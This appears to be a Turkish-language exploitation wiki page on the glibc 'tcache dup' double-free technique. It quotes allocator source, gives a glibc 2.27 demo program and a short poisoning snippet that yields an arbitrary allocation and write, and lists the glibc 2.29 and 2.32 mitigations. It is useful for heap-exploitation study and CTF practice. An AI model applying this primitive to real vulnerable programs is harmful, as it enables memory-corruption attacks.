Skip to content

tcache dup

Aynı chunk'ı bir tcache bin'ine iki kez free ederek singly-linked freelist'in kendisini göstermesini ve malloc'un aynı pointer'ı tekrar tekrar dağıtmasını sağlamak.

Mechanism

Note

tcache, singly-linked LIFO freelist'lerden oluşan per-thread bir dizidir. 2.29-öncesi free yolunda (tcache_put) hiçbir double-free kontrolü yoktu — basitçe chunk'ı tcache->entries[tc_idx]'in üzerine push eder ve count'u artırırdı:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  e->next = tcache->entries[tc_idx];   // (glibc 2.27/2.28: no key field)
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

Aynı chunk p'yi iki kez free etmek, next alanının kendisini göstermesine yol açar (p->next = p) ve counts 2 olur. tcache_get körlemesine pop eder:

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;   // == e again
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

Yani o size'ın üç malloc'u p, p, p döndürür — klasik "dup". Aynı canlı pointer iki kez döndürüldüğü için, ikinci allocation birincisinin next'ini overwrite etmek için kullanılabilir; bu tam olarak tcache poisoning'dir: freelist head, kontrol ettiğin bir pointer olur.

glibc 2.29+'ta bunu tespit etmek için bir key alanı eklendi; onu yenmek, tamamlayıcı tcache key bypass'tir. Bir use-after-free ile key'i ezerek gerçek bir double-free'nin yine de geçmesini sağlayabilirsin.

Walkthrough

Klasik glibc-2.27 gösterimi:

#include <stdio.h>
#include <stdlib.h>

int main() {
    fprintf(stderr, "Allocating a chunk.\n");
    int *a = malloc(8);
    fprintf(stderr, "malloc(8): %p\n", a);

    fprintf(stderr, "Freeing the same pointer twice (tcache dup).\n");
    free(a);
    free(a);                       // glibc <= 2.28: accepted silently

    fprintf(stderr, "Now the tcache bin loops on itself.\n");
    int *b = malloc(8);
    int *c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", b);
    fprintf(stderr, "2nd malloc(8): %p\n", c);
    // b == c == a
}

Beklenen çıktı (glibc ≤ 2.28):

malloc(8): 0x55…2a0
1st malloc(8): 0x55…2a0
2nd malloc(8): 0x55…2a0      <- same address handed out twice

Bir arbitrary write'a silahlandırma (tcache poisoning):

free(a); free(a);             // a->next now points to a
intptr_t *b = malloc(8);
*b = (intptr_t)&target;       // overwrite a->next with the target address
malloc(8);                    // pops a
intptr_t *x = malloc(8);      // pops &target  -> arbitrary allocation
*x = value;                   // arbitrary write

Warning

glibc ≥ 2.29'da ikinci free(a), free(): double free detected in tcache 2'yi tetikler ve abort eder; çünkü tcache_put artık e->key = tcache_key damgası vurur. Ham double-free orada yalnızca key önce corrupt edilirse hayatta kalır — bkz. tcache key bypass. 2.32+'ta next pointer'ı ayrıca safe-linking ile XOR-mangle edilir, dolayısıyla poisoning adımı bunu hesaba katmalıdır.

Mitigation

  • glibc 2.29 per-entry key'i ve per-bin count/tcache_count kontrollerini ekledi.
  • glibc 2.32 next'e safe-linking (pointer mangling) ekledi.
  • Bir double-free'yi, key üzerinde bir UAF ya da tesadüfi bir key çakışması (≈ 2^wordsize'da 1) olmadan tcache'e iki kez push etmek imkânsızdır.

References